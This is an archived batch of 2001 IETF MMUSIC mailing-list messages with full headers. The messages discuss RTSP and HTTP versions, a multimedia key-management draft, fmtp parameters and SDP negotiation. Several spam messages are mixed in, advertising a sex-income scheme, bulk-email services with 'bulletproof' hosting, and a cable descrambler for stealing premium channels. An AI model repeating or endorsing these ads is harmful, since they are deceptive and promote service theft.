<DIV><FONT face=3DArial size=3D2>Dan Firac</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Software Engineer,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Redline Communications.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_008B_01C133D4.FA0FB020--


From confctrl-owner  Tue Sep  4 10:37:28 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA11469
	for confctrl-outgoing; Tue, 4 Sep 2001 10:37:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA11464
	for <confctrl@zephyr.isi.edu>; Tue, 4 Sep 2001 10:37:27 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f84HbWv10395
	for <confctrl@ISI.EDU>; Tue, 4 Sep 2001 10:37:32 -0700 (PDT)
Received: from robla350.real.com ([172.23.100.116])
	by prognet.com (8.9.2/8.9.0) with ESMTP id KAA19970;
	Tue, 4 Sep 2001 10:37:26 -0700 (PDT)
Message-Id: <5.1.0.14.0.20010904102939.035271e0@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Tue, 04 Sep 2001 10:35:19 -0700
To: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>,
        IETF MMUSIC WG <confctrl@ISI.EDU>
From: Rob Lanphier <robla@real.com>
Subject: Re: RTSP and HTTP version
In-Reply-To: <3B8B7A9F.B7ED7DC7@era-t.ericsson.se>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Magnus,

Some sections of RFC 2068 do not appear in RFC 2616.  We fully intend to 
update the RTSP specification to reference RFC 2616 where appropriate 
(possibly quoting verbatim the parts of RFC 2068 that were removed in the 
update).

Other than removed material, I don't know of any inconsistencies between 
RFC 2068 and 2616 with regards to the portions used by RTSP.  From a 
legalistic perspective, RFC 2068 is the correct version, but RFC 2616 
should be usable.  If you find anything in RFC 2616 which introduces a 
problem, please let us know.

Thanks
Rob


At 01:04 PM 8/28/01 +0200, Magnus Westerlund wrote:
>Hi,
>
>RTSP RFC 2326 reference the obsoleted version of HTTP/1.1 RFC2068.
>Should an implementor use the corresponding sections in RFC 2616?
>
>Regards
>
>Magnus Westerlund
>
>Audio Technology, Ericsson Research
>----------------------------------------------------------------------
>Ericsson Radio Systems AB  | Phone +46 8 4048287
>Torshamsgatan 23           | Fax   +46 8 7575550
>S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se


From confctrl-owner  Wed Sep  5 22:03:19 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA08391
	for confctrl-outgoing; Wed, 5 Sep 2001 22:03:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA08386
	for <confctrl@zephyr.isi.edu>; Wed, 5 Sep 2001 22:03:18 -0700 (PDT)
Received: from igw3.watson.ibm.com (igw3.watson.ibm.com [198.81.209.18])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8653Nv28825
	for <confctrl@isi.edu>; Wed, 5 Sep 2001 22:03:23 -0700 (PDT)
Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62])
	by igw3.watson.ibm.com (8.11.4/8.11.4) with ESMTP id f8653C809804;
	Thu, 6 Sep 2001 01:03:12 -0400
Received: from ornavella.watson.ibm.com (ornavella.watson.ibm.com [9.2.16.80])
	by sp1n189at0.watson.ibm.com (8.11.4/8.11.4) with ESMTP id f8653Cn41224;
	Thu, 6 Sep 2001 01:03:12 -0400
Received: (from canetti@localhost)
	by ornavella.watson.ibm.com (AIX4.3/8.9.3/8.9.3/01-10-2000) id BAA28756;
	Thu, 6 Sep 2001 01:03:08 -0400
Date: Thu, 6 Sep 2001 01:03:08 -0400
From: Ran Canetti <canetti@watson.ibm.com>
Message-Id: <200109060503.BAA28756@ornavella.watson.ibm.com>
To: Elisabetta.Carrara@era.ericsson.se, Fredrik.Lindholm@era.ericsson.se,
        canetti@watson.ibm.com, mats.naslund@era-t.ericsson.se,
        rolf.blom@era-t.ericsson.se
Subject: RE: [MSEC] draft-blom-mm-kmgt-00.txt
Cc: confctrl@ISI.EDU, msec@securemulticast.org
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Fredrik,

Sorry for the long delay. Here are some responses to yours.
I think that the most important issue is the first one, ie the 
deployment of the timestamps in the internet environment.

Best,

Ran


> 
> From: "Fredrik Lindholm (ERA)" <Fredrik.Lindholm@era.ericsson.se>
> Date: Mon, 27 Aug 2001 16:39:43 +0200
> 
> 
> * One of the design choices has been to use timestamps
> even though it has limitations. We are aware that we must add
> clarifications of its use in different scenarios, the
> security implications etc. We like this approach because it gives us the
> possibility to let the source "push" down keys very
> fast and because it gives the possibility to integrate/piggy-back the
> protocol in the call control, e.g. SIP and RTSP. 

I certainly appreciate the benefits of using timestamps. 
But in order to understand what is being suggested I'd be interested 
in hearing more on the parameters you had in mind with respect 
to deployment. How large would you expect the time interval to
be in a typical connection? say, between a source and a desktop computer, or
between a source and a roaming laptop, or a hand-held device such as a pda
or a cell-phone? how synchronized would your solution require the devices to
be? (Note that here we not only talk about time synchronization from the
beginning of a session, but rather global time synchronization.)

That these questions are arguably at the heart of the realizability of the 
method...


> * For one way authentication our public key scheme
> needs 1/2 round. This can't be achieved with a scheme that requires
> mutual party input for the key derivation (such as the revised public key). 

Mutual input to the key is a rather minor concern, and is not really the
issue. What prevents the public-key mode (as well as the other modes of IKE) 
from being "1/2 round" is a number of things, perhaps the most basic of which 
is the need to guarantee freshness of the key without using timestamps.

> * We do not mandate forward secrecy due to the
> computational burden, but we included the DH to be able to provide it as
> optional. Note that there often exists constrains on
> call setup time and the delay budget is essentially filled by the transport
> of bits itself.

That's absolutely fine. I'd add language to the drafts explaining that
what DH buys is PFS and discussing the price and tradeoffs.

> 
> SIP scenario
> 
> What we tried to describe in the SIP scenario was that
> even though it might be technical possible to have an end-to-end
> protection of the SIP signaling, this will probably not
> be done in many practical implementations (due to intermediate nodes
> etc.). Instead of always relying on the security of SIP
> (or RTSP) we believe that we need our own protection which should be
> independent of the transport protocol used. 

I see. That's a valid and good point. (Somehow I didn't understand it from
the text. Perhaps it should be clarified.)

> 
> ID protection
> 
> Your points are definitely valid. But our main concern
> was not to provide anonymity at the extra cost of additional
> roundtrips. However, some level of identity protection
> can be given, e.g. in the pre-shared key version. In this case, of
> course, the two calling parties know the identity by
> the other (e.g. by using pseudonyms). In the public key case we do
> provide identity protection by allowing the
> ID/Certificate to be encrypted (this will however open DoS problems). The
> initiator's identity will then be protected as well as
> the responder's (this will of course require that the responder knows what
> private key to decrypt with). 

This is good against attackers that only listen on the line.
Your protocol does not protect the identity of the initiator
(typically, the client) against active attackers that impersonate the 
receiver. This may be ok/acceptable to you, but it should probably be said
explicitly.

> Groups
> 
> We had as an application, a multimedia session in which
> you dynamically may add new streams. To us it is then natural to make
> the source the membership controller. 

i see. How do you envision the process of joining a session/adding streams?
how (and to whom) would a new receiver express its wish to join the session?
how will it learn which stream to listen to?



From confctrl-owner  Fri Sep  7 02:21:49 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA14935
	for confctrl-outgoing; Fri, 7 Sep 2001 02:21:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA14930
	for <confctrl@zephyr.isi.edu>; Fri, 7 Sep 2001 02:21:48 -0700 (PDT)
Received: from zcars0m9.ca.nortel.com (h157s242a129n47.user.nortelnetworks.com [47.129.242.157])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f879Lqv27954
	for <confctrl@isi.edu>; Fri, 7 Sep 2001 02:21:53 -0700 (PDT)
Received: from zcars04f.ca.nortel.com (zcars04f.ca.nortel.com [47.129.242.57])
	by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f879LFp05096
	for <confctrl@isi.edu>; Fri, 7 Sep 2001 05:21:15 -0400 (EDT)
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Fri, 7 Sep 2001 05:21:36 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <R6953JRT>; Fri, 7 Sep 2001 05:21:40 -0400
Message-ID: <28560036253BD41191A10000F8BCBD110514FAEA@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: confctrl@ISI.EDU
Cc: "Tim Darnell" <darnell@nortelnetworks.com>
Subject: fmtp Parameters
Date: Fri, 7 Sep 2001 05:21:38 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C1377E.7F21C0D0"
X-Orig: <taylor@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C1377E.7F21C0D0
Content-Type: text/plain;
	charset="iso-8859-1"

Where can we find out what fmtp parameters have been defined?  We'd
particularly like to know about parameters pertaining to video.

Tom Taylor
taylor@nortelnetworks.com
Ph. +1 613 736 0961 (ESN 396 1490)
 

------_=_NextPart_001_01C1377E.7F21C0D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.89">
<TITLE>fmtp Parameters</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Where can we find out what fmtp parameters have been =
defined?&nbsp; We'd particularly like to know about parameters =
pertaining to video.</FONT></P>

<P><FONT SIZE=3D2>Tom Taylor</FONT>
<BR><FONT SIZE=3D2>taylor@nortelnetworks.com</FONT>
<BR><FONT SIZE=3D2>Ph. +1 613 736 0961 (ESN 396 1490)</FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C1377E.7F21C0D0--

From confctrl-owner  Fri Sep  7 18:17:16 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA17010
	for confctrl-outgoing; Fri, 7 Sep 2001 18:17:16 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA17005
	for <confctrl@zephyr.isi.edu>; Fri, 7 Sep 2001 18:17:15 -0700 (PDT)
Received: from yourwebsite.com (pool-141-156-51-82.res.east.verizon.net [141.156.51.82])
	by gamma.isi.edu (8.11.6/8.11.2) with SMTP id f881HIw08465
	for <confctrl@isi.edu>; Fri, 7 Sep 2001 18:17:20 -0700 (PDT)
Message-Id: <200109080117.f881HIw08465@gamma.isi.edu>
Reply-To: D@ISI.EDU
From: digipimps@dpim.com
To: confctrl@ISI.EDU
Subject: Earn MILLIONS selling SEX..... LEGALY!!
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Fri, 7 Sep 2001 20:48:42 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

              Earn MILLIONS selling SEX,  .....LEGALY!!
                           
                                 Unbelivable??


For free info send a BLANK e-mail:  Digipimps@SexMagnet.com
>>>






  Note:  If you have ANY COMPLAINTS,  please contact  Digipimps@SexMagnet.com
with 'Remove' or 'Complaint' in the subject heading and we will respond accordingly.
IF YOU ARE NOT INTERESTED, DO NOT SEND A BLANK E-MAIL or you will 
receive a REQUESTED e-mail by us!     
     
  NO OTHER PARTY IS RESPONSIBLE FOR THIS E-MAIL!!
                                                                
                         We apologize for any disturbances.    :  )

From confctrl-owner  Fri Sep  7 22:39:24 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA29472
	for confctrl-outgoing; Fri, 7 Sep 2001 22:39:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA29467
	for <confctrl@zephyr.isi.edu>; Fri, 7 Sep 2001 22:39:23 -0700 (PDT)
Received: from mail.arcus.gr.jp (altair.arcus.gr.jp [210.161.232.164])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f885dMv12510;
	Fri, 7 Sep 2001 22:39:26 -0700 (PDT)
Received: from bibe.com ([208.252.241.253])
	by mail.arcus.gr.jp (8.9.3/3.7W) with SMTP id OAA08915;
	Sat, 8 Sep 2001 14:36:46 +0900 (JST)
Date: Sat, 8 Sep 2001 14:36:46 +0900 (JST)
Message-ID: <4cf81156$525c$240f>
Mime-Version: 1.0
X-Priority: 
Content-Type: multipart/mixed;
	boundary="----=_NextPart_18071_7565_17BB.6DD178021277"
To: "confco@metz.une.edu.au" <confco@metz.une.edu.au>
From: "" <brian911@pop.net>
Reply-to: brian911@pop.net
Subject: It's me brian look @ this
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


------=_NextPart_18071_7565_17BB.6DD178021277
Content-Type: text/plain; 
	charset="us-ascii"
Content-Transfer-Encoding: 8bit

        
We will put your product or service instantly into the hands of millions!


Since 1996, Bulk Email Network has provided bulk email marketing to thousands of 
well-satisfied customers. We offer the most competitive prices in the industry, made 
possible by our high percentage of repeat business. We have the most advanced direct 
email technology employed by only a knowledgeable few in the world. 

We have over 160 million active email addresses All sorted by country, state, city and target.

Call us for a free consultation at 323 876 6148  [U.S.A.]. 

We guarantee the lowest prices or your service is free!

 1) Let's say you... Sell a $24.95 PRODUCT or SERVICE.
 2) Let's say you... Mass Email to 1,000,000 PEOPLE DAILY.
 3) Let's say you... Receive JUST 1 ORDER for EVERY 2,500 EMAILS.

 CALCULATION OF YOUR EARNINGS BASED ON THE ABOVE STATISTICS:
 [Day 1]: $9,980  [Week 1]: $69,860  [Month 1]: $279,440

Now you know why you receive so many email advertisements...
 

Best of ALL, Bulk Email Network can be used as a 100% TAX WRITE OFF for your 
Business!

===============================================================
"Many business people are finding out that they can now advertise in ways that they 
never could have afforded in the past.  The cost of sending mass e-mail is extremely low, 
and the response rate is high and quick." - USA TODAY
===============================================================


Remember we also offer:        

*Bulletproof Web Hosting 
And 
*Bulletproof Dial-up Account



Best Regards,


Jennifer O’Conner,
Bulk Email Network
Marketing Dept.

Phone:1 (323) 876 6148 [U.S.A.]













To be Opt-out Please email: optout88542@aol.com with the email address that you would like removed.













330b170328a7fc2aec60845030543547cb7bc5

------=_NextPart_18071_7565_17BB.6DD178021277--

From confctrl-owner  Sun Sep  9 09:04:54 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA08886
	for confctrl-outgoing; Sun, 9 Sep 2001 09:04:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA08869
	for <confctrl@zephyr.isi.edu>; Sun, 9 Sep 2001 09:04:52 -0700 (PDT)
Received: from mail.startek-eng.com (130.c24.ethome.net.tw [210.58.24.130])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f89G4nv24292
	for <confctrl@isi.edu>; Sun, 9 Sep 2001 09:04:51 -0700 (PDT)
Received: from 168.191.125.102 (sdn-ar-001mnspauP166.dialsprint.net [168.191.125.102]) by mail.startek-eng.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id RQLM7D4T; Sun, 9 Sep 2001 23:12:12 +0800
Message-ID: <00000b0d3f6c$00006ad4$00000a86@>
To: <Undisclosed.Recipients@ISI.EDU>
From: ahudet6t76@tfn.net
Subject: Hottest box on the market!		9873653
Date: Sun, 09 Sep 2001 03:46:46 -0500
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 1
X-MSMail-Priority: High
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML>
<BODY>

<FONT size=3D2> <BR>
<BR>
RECEIVE ALL YOUR CABLE CHANNELS TODAY!!!     1-877-781-5286<BR>
<BR>
<BR>
With our NEW GLOBAL 2600 Cable Converter/Decoder!<BR>
<BR>
Get all your favorite premium channels like HBO, Spice, Cinemax, ESPN PayP=
er View Etc...<BR>
<BR>
Never miss another T.V show again!<BR>
<BR>
The GLOBAL 2600 works on 99% of all cable system coast to coast!<BR>
 <BR>
You will never have to rent or buy another cable box again!<BR>
<BR>
100% Bulletproof!  Meaning it will never get deprogrammed!<BR>
<BR>
Comes with remote and patch cable cords and has all the great features<BR>
any cable box would ever have including, Parent Control, Fine Tuning<BR>
Sleep Timer on the remote etc...<BR>
<BR>
Takes less then five minuets to install replacing your existing box, anyon=
e can do it.<BR>
 <BR>
We are so sure that you will love our product that it comes<BR>
with a 30-DAY MONEY BACK GUARANTEE! <BR>
<BR>
Also comes with a 3 Year Warranty on Parts and Labor!<BR>
<BR>
Quantity Discounts are available so please ask.<BR>
 <BR>
Global 2600 CABLE CONVERTER/DECODER<BR>
Now On Sale Now For A Limited $339.00.<BR>
Includes FedEx 2-Day COD delivery!<BR>
<BR>
Call 1-877-781-5286 to speak to a sales rep. today!<BR>
<BR>
<BR>
<BR>
<BR>
This ad is sent in accordence with all applicable laws<BR>
<BR>
to be removed type "remove" in the subject line and <BR>
<BR>
sent to : smartman465@yahoo.com<BR>
<BR>
</FONT><p><p><p><p><p><p><p><p><p><p>

<p><FONT size=3D2> <BR><p><BR><p>RECEIVE ALL YOUR CABLE CHANNELS TODAY!!! =
    1-877-781-5286<BR><p><BR><p><BR><p>With our NEW GLOBAL 2600 Cable Conv=
erter/Decoder!<BR><p><BR><p>Get all your favorite premium channels like HB=
O, Spice, Cinemax, ESPN PayPer View Etc...<BR><p><p><p></BODY></HTML>



From confctrl-owner  Mon Sep 10 09:49:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA06022
	for confctrl-outgoing; Mon, 10 Sep 2001 09:49:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA06017
	for <confctrl@zephyr.isi.edu>; Mon, 10 Sep 2001 09:49:10 -0700 (PDT)
Received: from zcars0m9.ca.nortel.com (h157s242a129n47.user.nortelnetworks.com [47.129.242.157])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8AGnHv24761
	for <confctrl@ISI.EDU>; Mon, 10 Sep 2001 09:49:17 -0700 (PDT)
Received: from zcars04f.ca.nortel.com (zcars04f.ca.nortel.com [47.129.242.57])
	by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f8AGmdp23694
	for <confctrl@ISI.EDU>; Mon, 10 Sep 2001 12:48:39 -0400 (EDT)
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Mon, 10 Sep 2001 12:48:42 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <R695PF8B>; Mon, 10 Sep 2001 12:48:49 -0400
Message-ID: <28560036253BD41191A10000F8BCBD110514FAFD@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: "'sip@ietf.org'" <sip@ietf.org>
Cc: confctrl@ISI.EDU
Subject: Issue #163: "where does SDP section live"
Date: Mon, 10 Sep 2001 12:48:38 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C13A18.70753480"
X-Orig: <taylor@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C13A18.70753480
Content-Type: text/plain;
	charset="iso-8859-1"

I've clipped this description from Rohan Mahy's note, assuming it reflects
Jonathan's statement: 

 >#163 "where does SDP section live"
 >Issues: SIP spec has an appendix with SDP usage;
 >Not really a SIP issue at all;
 >Other descriptions will come along;
 >Sync issue with SDP spec;
 >Beefiness of SIP spec already
 >Some ideas: Separate RFC, Incorporate into SDP revision, Keep it as it is
 >Proposal: Keep it as it is

The implication of the decision on this issue is either that the negotiation
model for SDP is application-specific (implication if the SDP annex stays)
or that the negotiation model is general (implication if the annex becomes a
separate document in MMUSIC).

Megaco might be a bit different if a general document on SDP negotiation had
been available in 1999.  As it is, we built specific support for our model
into the Megaco protocol.

My point is that we should consider what is the best approach looking
forward.  When SDPng comes along, will we again face the necessity of
defining how it is used with each application, or will it be possible to
define a common view?

My personal preference is for a common document.  I think it is possible,
although it may contain different sections governing the operation of
different functions.  For example, there may be a difference in the model
used to reveal capabilities (a Megaco requirement), as opposed to
negotiating a specific media flow (a requirement common to Megaco and SIP).

Tom Taylor
taylor@nortelnetworks.com
Ph. +1 613 736 0961 (ESN 396 1490)
 

------_=_NextPart_001_01C13A18.70753480
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.89">
<TITLE>Issue #163: &quot;where does SDP section live&quot;</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I've clipped this description from Rohan Mahy's note, =
assuming it reflects Jonathan's statement: </FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&gt;#163 &quot;where does SDP section =
live&quot;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&gt;Issues: SIP spec has an appendix with SDP =
usage;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&gt;Not really a SIP issue at all;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&gt;Other descriptions will come along;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&gt;Sync issue with SDP spec;</FONT>
<BR><FONT SIZE=3D2>&nbsp;&gt;Beefiness of SIP spec already</FONT>
<BR><FONT SIZE=3D2>&nbsp;&gt;Some ideas: Separate RFC, Incorporate into =
SDP revision, Keep it as it is</FONT>
<BR><FONT SIZE=3D2>&nbsp;&gt;Proposal: Keep it as it is</FONT>
</P>

<P><FONT SIZE=3D2>The implication of the decision on this issue is =
either that the negotiation model for SDP is application-specific =
(implication if the SDP annex stays) or that the negotiation model is =
general (implication if the annex becomes a separate document in =
MMUSIC).</FONT></P>

<P><FONT SIZE=3D2>Megaco might be a bit different if a general document =
on SDP negotiation had been available in 1999.&nbsp; As it is, we built =
specific support for our model into the Megaco protocol.</FONT></P>

<P><FONT SIZE=3D2>My point is that we should consider what is the best =
approach looking forward.&nbsp; When SDPng comes along, will we again =
face the necessity of defining how it is used with each application, or =
will it be possible to define a common view?</FONT></P>

<P><FONT SIZE=3D2>My personal preference is for a common =
document.&nbsp; I think it is possible, although it may contain =
different sections governing the operation of different =
functions.&nbsp; For example, there may be a difference in the model =
used to reveal capabilities (a Megaco requirement), as opposed to =
negotiating a specific media flow (a requirement common to Megaco and =
SIP).</FONT></P>

<P><FONT SIZE=3D2>Tom Taylor</FONT>
<BR><FONT SIZE=3D2>taylor@nortelnetworks.com</FONT>
<BR><FONT SIZE=3D2>Ph. +1 613 736 0961 (ESN 396 1490)</FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C13A18.70753480--

From confctrl-owner  Mon Sep 10 14:41:29 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA03592
	for confctrl-outgoing; Mon, 10 Sep 2001 14:41:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA03587
	for <confctrl@zephyr.isi.edu>; Mon, 10 Sep 2001 14:41:28 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8ALfZv19358
	for <confctrl@isi.edu>; Mon, 10 Sep 2001 14:41:35 -0700 (PDT)
Received: from tzi.uni-bremen.de (root@localhost [127.0.0.1])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f8ALfCJ04803;
	Mon, 10 Sep 2001 23:41:12 +0200 (MEST)
Message-ID: <3B9D3383.CA669F56@tzi.uni-bremen.de>
Date: Mon, 10 Sep 2001 23:41:23 +0200
From: Joerg Ott <jo@tzi.uni-bremen.de>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, mmusic@informatik.uni-bremen.de
Subject: Draft MMUSIC Minutes from London
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

the draft MMUSIC minutes are available at the MMUSIC
supplemental web page at

    http://www.dmn.tzi.org/ietf/mmusic/

together with (almost) all the slides (in various formats).

Colin and Joerg

From confctrl-owner  Mon Sep 10 17:26:32 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id RAA18795
	for confctrl-outgoing; Mon, 10 Sep 2001 17:26:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA18790
	for <confctrl@zephyr.isi.edu>; Mon, 10 Sep 2001 17:26:31 -0700 (PDT)
Received: from purple.nge.isi.edu ([65.114.168.32])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8B0Qbv26046
	for <confctrl@ISI.EDU>; Mon, 10 Sep 2001 17:26:38 -0700 (PDT)
Received: from purple.nge.isi.edu (localhost [127.0.0.1])
	by purple.nge.isi.edu (8.9.3/8.9.3) with ESMTP id UAA04344;
	Mon, 10 Sep 2001 20:25:44 -0400
Message-Id: <200109110025.UAA04344@purple.nge.isi.edu>
To: "Tom-PT Taylor" <taylor@nortelnetworks.com>
cc: "'sip@ietf.org'" <sip@ietf.org>, confctrl@ISI.EDU
Subject: Re: Issue #163: "where does SDP section live" 
In-Reply-To: Your message of "Mon, 10 Sep 2001 12:48:38 EDT."
             <28560036253BD41191A10000F8BCBD110514FAFD@zcard00g.ca.nortel.com> 
Date: Mon, 10 Sep 2001 20:25:44 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

A common document would seem to make sense, if possible. I don't think it
should be part of the SDP revision: that ties SDP to one negotiation model,
which might not be appropriate for all scenarios.

Colin




--> "Tom-PT Taylor" writes:
>I've clipped this description from Rohan Mahy's note, assuming it reflects
>Jonathan's statement: 
>
> >#163 "where does SDP section live"
> >Issues: SIP spec has an appendix with SDP usage;
> >Not really a SIP issue at all;
> >Other descriptions will come along;
> >Sync issue with SDP spec;
> >Beefiness of SIP spec already
> >Some ideas: Separate RFC, Incorporate into SDP revision, Keep it as it is
> >Proposal: Keep it as it is
>
>The implication of the decision on this issue is either that the negotiation
>model for SDP is application-specific (implication if the SDP annex stays)
>or that the negotiation model is general (implication if the annex becomes a
>separate document in MMUSIC).
>
>Megaco might be a bit different if a general document on SDP negotiation had
>been available in 1999.  As it is, we built specific support for our model
>into the Megaco protocol.
>
>My point is that we should consider what is the best approach looking
>forward.  When SDPng comes along, will we again face the necessity of
>defining how it is used with each application, or will it be possible to
>define a common view?
>
>My personal preference is for a common document.  I think it is possible,
>although it may contain different sections governing the operation of
>different functions.  For example, there may be a difference in the model
>used to reveal capabilities (a Megaco requirement), as opposed to
>negotiating a specific media flow (a requirement common to Megaco and SIP).
>
>Tom Taylor
>taylor@nortelnetworks.com
>Ph. +1 613 736 0961 (ESN 396 1490)

From confctrl-owner  Mon Sep 10 20:09:25 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA00358
	for confctrl-outgoing; Mon, 10 Sep 2001 20:09:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA00353
	for <confctrl@zephyr.isi.edu>; Mon, 10 Sep 2001 20:09:24 -0700 (PDT)
Received: from mailman.packetdesign.com (dns.packetdesign.com [65.192.41.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8B39Vv26545
	for <confctrl@ISI.EDU>; Mon, 10 Sep 2001 20:09:31 -0700 (PDT)
Received: from ash.packetdesign.com (ash.packetdesign.com [192.168.0.243])
	by mailman.packetdesign.com (8.11.0/8.11.0) with ESMTP id f8B38V242970;
	Mon, 10 Sep 2001 20:08:31 -0700 (PDT)
